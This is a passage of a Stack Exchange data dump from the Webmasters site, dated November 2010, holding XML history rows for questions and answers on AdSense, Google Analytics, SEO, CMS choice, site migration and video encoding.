it;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thank you very much for any advice!!!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;P.S. This question is very important for me. It is not some question for fun! So Please do not close it;)" />
  <row Id="11628" PostHistoryTypeId="1" PostId="5826" RevisionGUID="66f0f7f9-5ee6-4f8d-bba8-18f08abdf89a" CreationDate="2010-11-23T14:31:26.283" UserId="3428" Text="Google AdSense bot's algorithm and behavior" />
  <row Id="11629" PostHistoryTypeId="3" PostId="5826" RevisionGUID="66f0f7f9-5ee6-4f8d-bba8-18f08abdf89a" CreationDate="2010-11-23T14:31:26.283" UserId="3428" Text="&lt;google&gt;&lt;google-adsense&gt;&lt;websites&gt;" />
  <row Id="11630" PostHistoryTypeId="2" PostId="5827" RevisionGUID="f819fda1-b746-4677-9832-e32976a9806b" CreationDate="2010-11-23T15:33:55.027" UserId="1757" Text="As Ilian Iliev mentioned, a good spam filter is more than capable of dealing with public email addresses. If your network admin or email host isn't competent enough to install a good spam filter, then there's always Gmail Hosted (Google Apps). We use this on all of our domains, and I recommend it to all my clients. It's fast, free, reliable, and integrates with other Google Apps (like Google Calendar). And if you have greater email needs, you can upgrade to their paid service.&#xD;&#xA;&#xD;&#xA;Whether you put your email up or not should depend on whether you want to be directly contacted by email or via other means. If you're just another customer service rep in a large company, then it might make sense to just have a contact form that will direct emails to a customer support system and open a support ticket.&#xD;&#xA;&#xD;&#xA;But if you're, say, a freelance web developer, a real estate agent, or a sales rep at a small company, then it makes sense to have your work email on your website. It looks more professional and also adds a personal touch as opposed to having an anonymous web form.&#xD;&#xA;&#xD;&#xA;In most cases, for companies big or small, it's necessary to have at least one or two published e-mail addresses on your website. It could be something as simple as `info@yourdomain.com`. It's sort of like having a phone/fax number or mailing address. You won't be taken seriously without one." />
  <row Id="11631" PostHistoryTypeId="2" PostId="5828" RevisionGUID="7f0b3697-fff0-4fed-b576-8a514f2ecca4" CreationDate="2010-11-23T16:03:19.140" UserId="3429" Text="Could always do a private http://www.drupal.org site using LAMP (or WAMP).&#xD;&#xA;" />
  <row Id="11632" PostHistoryTypeId="5" PostId="5822" RevisionGUID="665b32b9-56b2-4097-b201-e46fe6009183" CreationDate="2010-11-23T16:03:44.170" UserId="1253" Comment="added 8 characters in body" Text="Not only can you expect it to be throttled, but most likely that functionality will be turned off. This is because spammers use this to confirm email addresses. &#xD;&#xA;&#xD;&#xA;If I were you I wouldn't use this technique as it sounds suspicious to me. You may find your site blacklisted as a spammer which definitely is counterproductive to your goals. Simply send a confirmation email to your users with a confirmation link inside. Until their email is confirmed limit their account or prevent access altogether. This functionality is commonly used and easy to implement." />
  <row Id="11633" PostHistoryTypeId="5" PostId="5801" RevisionGUID="591d7eee-09ca-4927-9345-27e6318c7b6b" CreationDate="2010-11-23T16:14:45.897" UserId="2632" Comment="added new info to clarify" Text="Is there a web service (either one of amazon's own or a third-party) that will let me pull my purchase data from amazon into my own site? This is strictly for personal use; I only want to get data associated with my own amazon account. I'm currently working in php, so would need a php api.&#xD;&#xA;&#xD;&#xA;EDIT: Just to make it clear, I'm looking for my own purchase history, not data from my seller account. I'd also consider a feed of info from my Media Library section. Given that there's an option to share those items, I'm assuming there's some kind of programmatic hook into it. " />
  <row Id="11634" PostHistoryTypeId="2" PostId="5829" RevisionGUID="a4c5ea96-820b-44f8-9827-5468107acbae" CreationDate="2010-11-23T16:26:01.617" UserId="3406" Text="Scenario&#xD;&#xA;&#xD;&#xA; - Site (A) which I control and have&#xD;&#xA;   Google Analtics setup on.&#xD;&#xA;   &#xD;&#xA; - Site (B) which is controlled by a 3rd&#xD;&#xA;   party but we are allowed to customise html including images/javascript (e.g. something like a directory page)&#xD;&#xA;&#xD;&#xA;Is it possible to use Google analytics's to track visitor usage on site (B) alongside site (A) - e.g. we can already see how many people visited from B but we can't see how many viewed so can't work out CTR.&#xD;&#xA;&#xD;&#xA;Is this possible with Google Analytics?&#xD;&#xA;&#xD;&#xA;If not is this possible with any other hosted analytic package or is it back to images and log file analysis?" />
  <row Id="11635" PostHistoryTypeId="1" PostId="5829" RevisionGUID="a4c5ea96-820b-44f8-9827-5468107acbae" CreationDate="2010-11-23T16:26:01.617" UserId="3406" Text="Setup Google Analytics's to track image or page views on another site" />
  <row Id="11636" PostHistoryTypeId="3" PostId="5829" RevisionGUID="a4c5ea96-820b-44f8-9827-5468107acbae" CreationDate="2010-11-23T16:26:01.617" UserId="3406" Text="&lt;google-analytics&gt;" />
  <row Id="11637" PostHistoryTypeId="2" PostId="5830" RevisionGUID="f1f39c31-ab73-4b53-a1ad-bda0249cadef" CreationDate="2010-11-23T16:50:36.820" UserId="129" Text="Indirectly yes. Pinging the site might help it being featured more openly (recent updates, news, newest sites...) which in turn means that when a search engine indexes the bookmarking site there's higher probability it will encounter a link to your site. " />
  <row Id="11641" PostHistoryTypeId="2" PostId="5831" RevisionGUID="40cbd0af-7ca3-4b0f-813e-631900c00721" CreationDate="2010-11-23T17:20:37.320" UserId="3432" Text="What is the best, free way to encode video for the new HTML5 video in browsers.  I want to encode video in WebM, H264 and Ogg.&#xD;&#xA;&#xD;&#xA;I have looked at FFMPeg and it seems to be able to do it all but the commands to do it with good quality can be fairly cryptic.&#xD;&#xA;&#xD;&#xA;Does anyone know of any good free tools that can do 2 pass encoding of video in each of these formats, or how to get FFMPeg to do task?" />
  <row Id="11642" PostHistoryTypeId="1" PostId="5831" RevisionGUID="40cbd0af-7ca3-4b0f-813e-631900c00721" CreationDate="2010-11-23T17:20:37.320" UserId="3432" Text="Encoding settings for HTML5 video" />
  <row Id="11643" PostHistoryTypeId="3" PostId="5831" RevisionGUID="40cbd0af-7ca3-4b0f-813e-631900c00721" CreationDate="2010-11-23T17:20:37.320" UserId="3432" Text="&lt;html5&gt;&lt;video&gt;" />
  <row Id="11644" PostHistoryTypeId="5" PostId="5812" RevisionGUID="cb4f61db-960b-43c9-a3cb-fbbf9c280340" CreationDate="2010-11-23T17:21:43.637" UserId="2927" Comment="deleted 1 characters in body" Text="I have a javascript heavy site (It really couldn't be coded in any sensible way with progressive enhancement) and I am using [Google's advice for making AJAX websites crawlable][1]. (i.e. use &quot;`?_escaped_fragment_` in place of '`#!`'&#xD;&#xA;&#xD;&#xA;My question is this: How closely does my flat HTML need to match the AJAX created HTML for users?&#xD;&#xA;&#xD;&#xA;I imagine Google must be checking some of the AJAX content, as otherwise this would be an easy way to do cloaking. I don't want to cloak in any way, but it is difficult to produce the exact HTML source that AJAX generates on the server-side? Would a rough approximation be good enough? &#xD;&#xA;&#xD;&#xA;Anyone have any experience in doing this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/web/ajaxcrawling/docs/getting-started.html" />
  <row Id="11645" PostHistoryTypeId="2" PostId="5832" RevisionGUID="5efca244-20d1-4597-9d32-f77ca4bcd64d" CreationDate="2010-11-23T17:58:07.933" UserId="2907" Text="In the past, I've done limited A/B testing and just used a modulus operator on the page to split on a random number. Then I showed one or the other items, and tracked in the log file...&#xD;&#xA;&#xD;&#xA;Not ideal I know.&#xD;&#xA;&#xD;&#xA;I did see this though that may give you more info down the path you're looking for...&#xD;&#xA;&#xD;&#xA;http://www.bradleyspencer.com/2009/genetify-a-free-open-source-alternative-to-google-website-optimizer-for-split-testing/&#xD;&#xA;&#xD;&#xA;It mentions a comparison between google and genetify...&#xD;&#xA;&#xD;&#xA;https://github.com/gregdingle/genetify/wiki/compare-with-gwo&#xD;&#xA;&#xD;&#xA;HTH" />
  <row Id="11647" PostHistoryTypeId="2" PostId="5833" RevisionGUID="5c620729-58e7-42e4-96c7-66b88473116a" CreationDate="2010-11-23T18:30:02.800" UserId="2803" Text="Your experience is valuable. What would be your advice for an aspiring web developer who decided to give PHP a try?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="11648" PostHistoryTypeId="1" PostId="5833" RevisionGUID="5c620729-58e7-42e4-96c7-66b88473116a" CreationDate="2010-11-23T18:30:02.800" UserId="2803" Text="PHP as a first web development experience" />
  <row Id="11649" PostHistoryTypeId="3" PostId="5833" RevisionGUID="5c620729-58e7-42e4-96c7-66b88473116a" CreationDate="2010-11-23T18:30:02.800" UserId="2803" Text="&lt;web-development&gt;&lt;php&gt;" />
  <row Id="11650" PostHistoryTypeId="10" PostId="5833" RevisionGUID="6cd88af1-d84c-44ab-8006-dfec5c8bde12" CreationDate="2010-11-23T18:30:59.997" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="11651" PostHistoryTypeId="2" PostId="5834" RevisionGUID="195bd5f1-5d96-4463-a1cd-6e7a1cc74547" CreationDate="2010-11-23T18:45:39.900" UserId="3094" Text="Log in to Amazon.com&#xD;&#xA;&#xD;&#xA;In the upper right hand corner, click on the phrase &quot;Your Account&quot;&#xD;&#xA;&#xD;&#xA;In the next screen, click on the button that says: view, modify or track &quot;Your Orders&quot;&#xD;&#xA;&#xD;&#xA;At the next screen you may need to enter your user id and password&#xD;&#xA;&#xD;&#xA;In the next screen there is a drop down option on the left hand side of the screen. From there you can &quot;show orders&quot; and select as far back as you like.&#xD;&#xA;&#xD;&#xA; &quot;Source some person on the internet&quot; (thanks)" />
  <row Id="11652" PostHistoryTypeId="2" PostId="5835" RevisionGUID="99988957-fd44-41fd-8e06-157eb1bf353e" CreationDate="2010-11-23T19:36:09.280" UserId="3428" Text="Please tell me something about Google AdSense:&#xD;&#xA;&#xD;&#xA;1) Can i reload ads by myself without full-page-reloading? For example refresh AdSense frame or call some script?&#xD;&#xA;&#xD;&#xA;2) About &quot;interest-based advertising&quot; that works around cookies. Can i influence on it for setting my own interest-keywords? How works this mode?&#xD;&#xA;&#xD;&#xA;Thank you!!!" />
  <row Id="11653" PostHistoryTypeId="1" PostId="5835" RevisionGUID="99988957-fd44-41fd-8e06-157eb1bf353e" CreationDate="2010-11-23T19:36:09.280" UserId="3428" Text="Google AdSense reloading?" />
  <row Id="11654" PostHistoryTypeId="3" PostId="5835" RevisionGUID="99988957-fd44-41fd-8e06-157eb1bf353e" CreationDate="2010-11-23T19:36:09.280" UserId="3428" Text="&lt;google&gt;&lt;google-adsense&gt;&lt;websites&gt;&lt;cookie&gt;" />
  <row Id="11655" PostHistoryTypeId="2" PostId="5836" RevisionGUID="49d9181e-bb1c-4a58-8b7e-400eae8189bb" CreationDate="2010-11-23T20:19:24.810" UserId="819" Text="If you can insert the tracking link, you SHOULD be able to do this.  I just depends on the specifics of how Site B allows you to integrate." />
  <row Id="11656" PostHistoryTypeId="2" PostId="5837" RevisionGUID="7a291aef-9507-4b7d-9eaa-14825626bf7d" CreationDate="2010-11-23T20:59:21.720" UserDisplayName="Stuart Clennett" Text="I am looking for advice on the steps to take to re-structure my website.  We currently have an osCommerce based site in the root of the site (i.e. mysite.com/index.php).&#xD;&#xA;&#xD;&#xA;Our plan is to have a CMS based site as the main site (at mysite.com), and have a *new* e-commerce site as a sub-domain (store.mysite.com).&#xD;&#xA;&#xD;&#xA;The existing osCommerce site is well ranked in Google, Bing &amp; Yahoo, and we'd dearly love to retain as much SE ranking goodness during and after the changes.&#xD;&#xA;&#xD;&#xA;I had thought the steps would be to 1) move the current site to a sub-domain, 2) place the new CMS based site in the root, and 3) when that lot has &quot;settled in&quot;, replace the e-commerce site with a new version.&#xD;&#xA;&#xD;&#xA;Does this sound about right? If so, what's the best strategy on implementing wholesale redirects from mysite.com to store.mysite.com in the first step? (We have about 70-80 pages on the site including product pages).&#xD;&#xA;&#xD;&#xA;I would very much appreciate any help or advice before I embark on this onerous task.  &#xD;&#xA;&#xD;&#xA;TIA&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11657" PostHistoryTypeId="1" PostId="5837" RevisionGUID="7a291aef-9507-4b7d-9eaa-14825626bf7d" CreationDate="2010-11-23T20:59:21.720" UserDisplayName="Stuart Clennett" Text="Replacing well ranked e-commerce site with a CMS site and new e-commerce site &amp; maintaining as much SE ranking as possible" />
  <row Id="11658" PostHistoryTypeId="3" PostId="5837" RevisionGUID="7a291aef-9507-4b7d-9eaa-14825626bf7d" CreationDate="2010-11-23T20:59:21.720" UserDisplayName="Stuart Clennett" Text="&lt;seo&gt;&lt;redirects&gt;&lt;websites&gt;" />
  <row Id="11659" PostHistoryTypeId="2" PostId="5838" RevisionGUID="ce01ceb9-f653-4f6b-9f46-d0babe472a1f" CreationDate="2010-11-23T21:05:15.520" UserId="745" Text="Does anyone use SVN to deploy their websites? If you do, could you explain your setup process and workflow or provide a link to more information? Ideally, I'd like to be able to commit to SVN and then have it also update my website. I'm currently using [Assembla][1] as a hosted SVN repository, so any answers that take that into account would be doubly appreciated.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.assembla.com" />
  <row Id="11660" PostHistoryTypeId="1" PostId="5838" RevisionGUID="ce01ceb9-f653-4f6b-9f46-d0babe472a1f" CreationDate="2010-11-23T21:05:15.520" UserId="745" Text="Website deployment from SVN" />
  <row Id="11661" PostHistoryTypeId="3" PostId="5838" RevisionGUID="ce01ceb9-f653-4f6b-9f46-d0babe472a1f" CreationDate="2010-11-23T21:05:15.520" UserId="745" Text="&lt;website-deployment&gt;&lt;svn&gt;&lt;hosted-svn&gt;" />
  <row Id="11662" PostHistoryTypeId="5" PostId="5823" RevisionGUID="a409b48d-cd07-4b22-be2c-693ee187e4df" CreationDate="2010-11-23T21:22:03.233" UserId="1429" Comment="added 79 characters in body; added 4 characters in body; added 2 characters in body" Text="After reading this: *[&quot;Keep the links on a given page to a reasonable number&quot;][1]* [Googkle official site]&#xD;&#xA;&#xD;&#xA;And this: *[&quot;Users often dislike link-heavy pages too, so before you go overboard putting a ton of links on a page, ask yourself what the purpose of the page is and whether it works well for the user experience.&quot;][2]* [Matt Cutts official blog]&#xD;&#xA;&#xD;&#xA;I'm wondering **how to keep links on a given page to a reasonable number for a generic e-commerce site**, in order to make Google happy too.&#xD;&#xA;&#xD;&#xA;Usually these type of sites contains a left menu packed with all the products/articles in the shop catalog divided by categories/sub-categories. **Each sub-category has naturally a link to it** (on some sites even the main category have a link showing a page with the sub-categories listed as page contents)&#xD;&#xA;&#xD;&#xA;**Shops/companies usually have many categories/sub-categories to show, so generally these left menu are big with many, many links.** And since these left menu are repeated in each page (1) how could we keep the amount of links to a reasonable number? &#xD;&#xA;&#xD;&#xA;Any SEO considerations and suggestions are well accepted too in your answer (as always).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;(1) note - I think these big menus repeated in all pages don't make the website less user friendly I'm talking about tree menus like this one for instance `www . nummus . com` these type menu use also Javascript to open nodes and on each page they keep themselves open, so I think they are very user friendly.&#xD;&#xA;Actually I think the opposite: **I can't stand navigating sites that change the position or the flow/contents of menus while I'm navigating.** And you?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35769#2&#xD;&#xA;  [2]: http://www.mattcutts.com/blog/how-many-links-per-page/" />
  <row Id="11663" PostHistoryTypeId="4" PostId="5823" RevisionGUID="6ac98d8c-89ca-4a82-a929-3a37931ac90a" CreationDate="2010-11-23T21:27:04.040" UserId="1429" Comment="edited title" Text="SEO for e-commerce, how to keep links in each page to a reasonable number?" />
  <row Id="11664" PostHistoryTypeId="2" PostId="5839" RevisionGUID="ec975b14-98f8-4816-8cb6-8125879e59f1" CreationDate="2010-11-23T21:37:43.353" UserId="3415" Text="Is Joomla or Drupal easier to manage?  &#xD;&#xA;Better community than the other to recieve help?  &#xD;&#xA;One made for corporations vs for private?  &#xD;&#xA;&#xD;&#xA;Also, how long (in approximate hours)does it take to set one of these up?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="11665" PostHistoryTypeId="1" PostId="5839" RevisionGUID="ec975b14-98f8-4816-8cb6-8125879e59f1" CreationDate="2010-11-23T21:37:43.353" UserId="3415" Text="Is Joomla or Drupal easier to manage?" />
  <row Id="11666" PostHistoryTypeId="3" PostId="5839" RevisionGUID="ec975b14-98f8-4816-8cb6-8125879e59f1" CreationDate="2010-11-23T21:37:43.353" UserId="3415" Text="&lt;cms&gt;&lt;drupal&gt;&lt;joomla&gt;&lt;administration&gt;" />
  <row Id="11667" PostHistoryTypeId="5" PostId="5837" RevisionGUID="dd7eb4fd-218b-4498-8e17-fb0181e26de6" CreationDate="2010-11-23T21:43:55.443" UserDisplayName="Stuart Clennett" Comment="Added reason why we're replacing osCommerce with CMS + new e-commerce." Text="I am looking for advice on the steps to take to re-structure my website.  We currently have an osCommerce based site in the root of the site (i.e. mysite.com/index.php).&#xD;&#xA;&#xD;&#xA;Our plan is to have a CMS based site as the main site (at mysite.com), and have a *new* e-commerce site as a sub-domain (store.mysite.com).&#xD;&#xA;&#xD;&#xA;The existing osCommerce site is well ranked in Google, Bing &amp; Yahoo, and we'd dearly love to retain as much SE ranking goodness during and after the changes.&#xD;&#xA;&#xD;&#xA;I had thought the steps would be to 1) move the current site to a sub-domain, 2) place the new CMS based site in the root, and 3) when that lot has &quot;settled in&quot;, replace the e-commerce site with a new version.&#xD;&#xA;&#xD;&#xA;Does this sound about right? If so, what's the best strategy on implementing wholesale redirects from mysite.com to store.mysite.com in the first step? (We have about 70-80 pages on the site including product pages).&#xD;&#xA;&#xD;&#xA;I would very much appreciate any help or advice before I embark on this onerous task.  &#xD;&#xA;&#xD;&#xA;TIA&#xD;&#xA;&#xD;&#xA;Edit: We're replacing the old osCommerce site because it is out of date, heavily modified and the design is old and needs replacing.  The company has more services that it offers now, so a CMS would suit our website better, but still with a more modern e-commerce site." />
  <row Id="11668" PostHistoryTypeId="2" PostId="5840" RevisionGUID="cd89b8cb-daa8-44ed-afd2-fbcb2ee7a24c" CreationDate="2010-11-23T21:44:10.917" UserId="745" Text="This isn't the first issue I'd worry about for SEO for an e-commerce site. What is more relevant is making sure that each page is unique enough from other pages that it doesn't become duplicate content. The problem with most ecommerce sites is that each product page has very little unique text in comparison to other pages using the same template. Ways to mitigate that are to write full product descriptions and allow user reviews (that aren't loaded with JavaScript).&#xD;&#xA;&#xD;&#xA;Now, on to your question. Again, this isn't something I'd really worry about too much. Those navigation links are useful to the user. With the proper anchor text, they're also incredibly useful for SEO. In fact, I'd probably guess that the benefit of having those links with that anchor text far outweighs the possibility of having too many links. For most ecommerce sites, that's the only way those pages will be linked to with that anchor text because ecommerce sites generally aren't linked to very often externally (outside of spam). &#xD;&#xA;&#xD;&#xA;If you are really concerned about this issue, you could drill down into more detail once you select a general category. For example, the front page could show the category 'widgets' in the menu, but once you're on the widgets page, a sublist under the 'widgets' category would list: 'red widgets', 'blue widgets', 'green widgets', etc." />
  <row Id="11669" PostHistoryTypeId="5" PostId="5839" RevisionGUID="0174b7f5-e073-4f8e-b3db-ac60aabb8621" CreationDate="2010-11-23T21:45:18.447" UserId="3415" Comment="added 90 characters in body" Text="Is Joomla or Drupal easier to manage?  &#xD;&#xA;Better community than the other to recieve help?  &#xD;&#xA;One made for corporations vs for private? &#xD;&#xA;&#xD;&#xA;Seems like word press is very popular too but can it do the same things as the others? &#xD;&#xA;&#xD;&#xA;Also, how long (in approximate hours)does it take to set one of these up?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="11670" PostHistoryTypeId="2" PostId="5841" RevisionGUID="d837e705-0438-488d-826f-d989ccd89014" CreationDate="2010-11-23T21:54:09.800" UserId="745" Text=" - Both Joomla's and Drupal's admin sections aren't great, but&#xD;&#xA;   Joomla will be much easier to manage,&#xD;&#xA;   for both you and your end user.&#xD;&#xA;   Drupal's admin just isn't intuitive&#xD;&#xA;   by any sense of the word. They're&#xD;&#xA;   trying to fix it for Drupal 7, but I&#xD;&#xA;   have my doubts about its&#xD;&#xA;   effectiveness. Wordpress is by far the easiest to manage.&#xD;&#xA; - All of the communities are large and&#xD;&#xA;   comparable. You shouldn't have a&#xD;&#xA;   problem with any of them.&#xD;&#xA; - Any of the 3 is suited for corporations or&#xD;&#xA;   private use.&#xD;&#xA; - Drupal is powerful, but by all&#xD;&#xA;   accounts, if you're new to Drupal, it&#xD;&#xA;   will take you a few months to get&#xD;&#xA;   acclimated in order to build a site&#xD;&#xA;   with it. Joomla has a learning curve&#xD;&#xA;   as well, but it's less intimidating.&#xD;&#xA;   If you're decent with PHP, you can&#xD;&#xA;   probably go from no knowledge of&#xD;&#xA;   Joomla to a finished site in a week. Wordpress can do most of what the others can do, but it's primarily a blog engine. There are enough add-ons to make it do almost anything, but it might not always be the best tool depending on the type of website you have.&#xD;&#xA;&#xD;&#xA;If you want to test drive them without installing, check out [Open Source CMS][1], which has testable demos for all three (Wordpress is under the blog category).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://php.opensourcecms.com/scripts/show.php?pagenumber=2&amp;catid=1" />
  <row Id="11671" PostHistoryTypeId="5" PostId="5840" RevisionGUID="13221659-0c96-4b8a-8f45-c2476d1e341a" CreationDate="2010-11-23T22:01:58.077" UserId="745" Comment="added 198 characters in body" Text="This isn't the first issue I'd worry about for SEO for an e-commerce site. What is more relevant is making sure that each page is unique enough from other pages that it doesn't become duplicate content. The problem with most ecommerce sites is that each product page has very little unique text in comparison to other pages using the same template. Ways to mitigate that are to write full product descriptions and allow user reviews (that aren't loaded with JavaScript).&#xD;&#xA;&#xD;&#xA;Now, on to your question. Again, this isn't something I'd really worry about too much. Those navigation links are useful to the user. With the proper anchor text, they're also incredibly useful for SEO. In fact, I'd probably guess that the benefit of having those links with that anchor text far outweighs the possibility of having too many links. For most ecommerce sites, that's the only way those pages will be linked to with that anchor text because ecommerce sites generally aren't linked to very often externally (outside of spam). From a UI perspective, if you have a lot of navigation links, I'd recommend breaking them up into smaller sections of five or six links using a divider or spacing to make them more easily scannable.&#xD;&#xA;&#xD;&#xA;If you are really concerned about this issue, you could drill down into more detail once you select a general category. For example, the front page could show the category 'widgets' in the menu, but once you're on the widgets page, a sublist under the 'widgets' category would list: 'red widgets', 'blue widgets', 'green widgets', etc." />
  <row Id="11672" PostHistoryTypeId="5" PostId="5812" RevisionGUID="e7c5feb4-351d-47d4-8c16-7959b5bde16f" CreationDate="2010-11-23T22:08:37.680" UserId="2927" Comment="added 1 characters in body" Text="I have a javascript heavy site (It really couldn't be coded in any sensible way with progressive enhancement) and I am using [Google's advice for making AJAX websites crawlable][1]. (i.e. use &quot;`?_escaped_fragment_` in place of '`#!`')&#xD;&#xA;&#xD;&#xA;My question is this: How closely does my flat HTML need to match the AJAX created HTML for users?&#xD;&#xA;&#xD;&#xA;I imagine Google must be checking some of the AJAX content, as otherwise this would be an easy way to do cloaking. I don't want to cloak in any way, but it is difficult to produce the exact HTML source that AJAX generates on the server-side? Would a rough approximation be good enough? &#xD;&#xA;&#xD;&#xA;Anyone have any experience in doing this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/web/ajaxcrawling/docs/getting-started.html" />
  <row Id="11673" PostHistoryTypeId="2" PostId="5842" RevisionGUID="2ac13ae1-9892-414a-827c-6b1c71a6e914" CreationDate="2010-11-23T22:27:47.320" UserId="745" Text="Check out [this][1] question. Basically, take an inventory of all existing URLs and make sure that you redirect them to the new URLs using a 301 redirect. Also, you should try to keep the content, titles, and metadata the same as much as possible, even if you change templates, so you'll want an inventory of that as well. You may find that you also want to change your navigation and link structure. That's fine, but realize that it could possibly impact your SEO as well, for better or worse.&#xD;&#xA;&#xD;&#xA;In short, be meticulous. Also, don't be surprised if you have a temporary dip in traffic or rankings. It'll take Google a little while to sort through everything. Don't panic, just wait it out a few weeks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/1552/combine-websites-without-hurting-seo/1553#1553" />
  <row Id="11674" PostHistoryTypeId="2" PostId="5843" RevisionGUID="67fe4c65-c32a-43e2-9db9-04a2427e16f5" CreationDate="2010-11-23T23:00:28.790" UserId="1484" Text="I have three main areas of my site and want to track total usage as well as breakdowns of the three parts. I am trying to segment the &quot;type&quot; of use on each page using a custom variable as such:&#xD;&#xA;&#xD;&#xA;    ['_setCustomVar',1,'Visitor Type','Unknown',1]&#xD;&#xA;&#xD;&#xA;Visitor type can be one of three values: &quot;Unknown&quot;, &quot;Reader&quot; or &quot;publisher&quot;. &#xD;&#xA;&#xD;&#xA;Every page has this value set. Now when I look at my analytics chart and chose all three segments, the individual values do not match the sum. I've double checked the pages to make sure the custom var is there.&#xD;&#xA;&#xD;&#xA;![Google Analytics Screenshot][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/vTUXK.png" />
  <row Id="11675" PostHistoryTypeId="1" PostId="5843" RevisionGUID="67fe4c65-c32a-43e2-9db9-04a2427e16f5" CreationDate="2010-11-23T23:00:28.790" UserId="1484" Text="Why don't my Google Analytics custom segmentation visit numbers match up?" />
  <row Id="11676" PostHistoryTypeId="3" PostId="5843" RevisionGUID="67fe4c65-c32a-43e2-9db9-04a2427e16f5" CreationDate="2010-11-23T23:00:28.790" UserId="1484" Text="&lt;google-analytics&gt;" />
  <row Id="11677" PostHistoryTypeId="2" PostId="5844" RevisionGUID="76c3a0d1-6362-473c-9e91-64515b89ee2e" CreationDate="2010-11-23T04:12:51.527" UserDisplayName="William C" Text="I have a coupons-code web *page* that receives 40,000 unique visitors a month, but its numbers are stagnant or dropping because it is #3 in Google's SERP.  75% of its visits are new and the page has been around since 2007. &#xD;&#xA;&#xD;&#xA;I sincerely think my resource is helping people and I sincerely think I am loads better than #1 and #2 because I have the freshest coupons and I have no ads -- so I am at my wit's end on how to raise my SERP.  The rest of the sites in #4, #5, etc., are huge coupon broker sites so I really have no chance pursuing link exchanges.  Meanwhile, the site in #1 and #2 is also a small guy who also have been around since 2007.  None of them update their coupons page near as often as I do.  (The #1 guy updates once a month. :( )&#xD;&#xA;&#xD;&#xA;My readers do not use Digg, StumbleUpon or Twitter, or have blogs of their own.  I tried Facebook's Like button and tweet reader comments via bit.ly but got no SERP improvement.&#xD;&#xA;&#xD;&#xA;How can a site ask readers help to raise its SERP?  Or any suggestions?" />
  <row Id="11678" PostHistoryTypeId="1" PostId="5844" RevisionGUID="76c3a0d1-6362-473c-9e91-64515b89ee2e" CreationDate="2010-11-23T04:12:51.527" UserDisplayName="William C" Text="My readers don't have Digg or StumbleUpon, how can I ask them for help raising my SERP?" />
  <row Id="11679" PostHistoryTypeId="3" PostId="5844" RevisionGUID="76c3a0d1-6362-473c-9e91-64515b89ee2e" CreationDate="2010-11-23T04:12:51.527" UserDisplayName="William C" Text="&lt;google-search&gt;" />
  <row Id="11680" PostHistoryTypeId="17" PostId="5844" RevisionGUID="ddf8ca02-77d0-4211-94f9-563214599a84" CreationDate="2010-11-23T23:36:44.470" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/9596/my-readers-dont-have-digg-or-stumbleupon-how-can-i-ask-them-for-help-raising-my" Text="" />
  <row Id="11681" PostHistoryTypeId="2" PostId="5846" RevisionGUID="49d14f3b-3022-4c63-8a12-da7affef3d71" CreationDate="2010-11-23T08:14:54.813" UserDisplayName="Mehper C. Palavuzlar" Text="The following services are alternatives to Google's AdSense:&#xD;&#xA;&#xD;&#xA; - [Adbrite][1]&#xD;&#xA; - [TribalFusion][2]&#xD;&#xA; - [Bidvertiser][3]&#xD;&#xA; - [Chitika][4]&#xD;&#xA; - [Infolinks][5]&#xD;&#xA; - [Pocket Cents][6]&#xD;&#xA; - [Kontera][7]&#xD;&#xA; - [Clicksor][8]&#xD;&#xA; - [Exit Junction][9]&#xD;&#xA; - [Yahoo Publisher Network][10]&#xD;&#xA; - [FastClick (now known as ValueClick)][11] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.adbrite.com&#xD;&#xA;  [2]: http://www.tribalfusion.com/&#xD;&#xA;  [3]: http://www.bidvertiser.com/&#xD;&#xA;  [4]: http://chitika.com/&#xD;&#xA;  [5]: http://www.infolinks.com/&#xD;&#xA;  [6]: http://www.pocketcents.com/&#xD;&#xA;  [7]: http://www.kontera.com/&#xD;&#xA;  [8]: http://www.clicksor.com/&#xD;&#xA;  [9]: http://www.exitjunction.com/&#xD;&#xA;  [10]: http://advertisingcentral.yahoo.com/publisher/index&#xD;&#xA;  [11]: http://www.valueclickmedia.com/" />
  <row Id="11682" PostHistoryTypeId="2" PostId="5847" RevisionGUID="058faef1-0997-4658-aa3f-d7d371c5c139" CreationDate="2010-11-23T10:35:59.973" UserId="3307" Text="Also [OpenX][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openx.org/" />
  <row Id="11683" PostHistoryTypeId="2" PostId="5845" RevisionGUID="0c638e9a-987b-413e-b7e6-948486876e74" CreationDate="2010-11-23T02:09:41.523" UserDisplayName="BozoJoe" Text="What are some alternatives to using google adsense for generating advertising revenue?" />
  <row Id="11684" PostHistoryTypeId="1" PostId="5845" RevisionGUID="0c638e9a-987b-413e-b7e6-948486876e74" CreationDate="2010-11-23T02:09:41.523" UserDisplayName="BozoJoe" Text="alternative to adsense" />
  <row Id="11685" PostHistoryTypeId="3" PostId="5845" RevisionGUID="0c638e9a-987b-413e-b7e6-948486876e74" CreationDate="2010-11-23T02:09:41.523" UserDisplayName="BozoJoe" Text="&lt;alternative&gt;&lt;ads&gt;&lt;google-adsense&gt;" />
  <row Id="11686" PostHistoryTypeId="17" PostId="5845" RevisionGUID="909c3b4b-8ea6-4f44-93d6-00854cb8e801" CreationDate="2010-11-23T23:36:56.763" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/9594/alternative-to-adsense" Text="" />
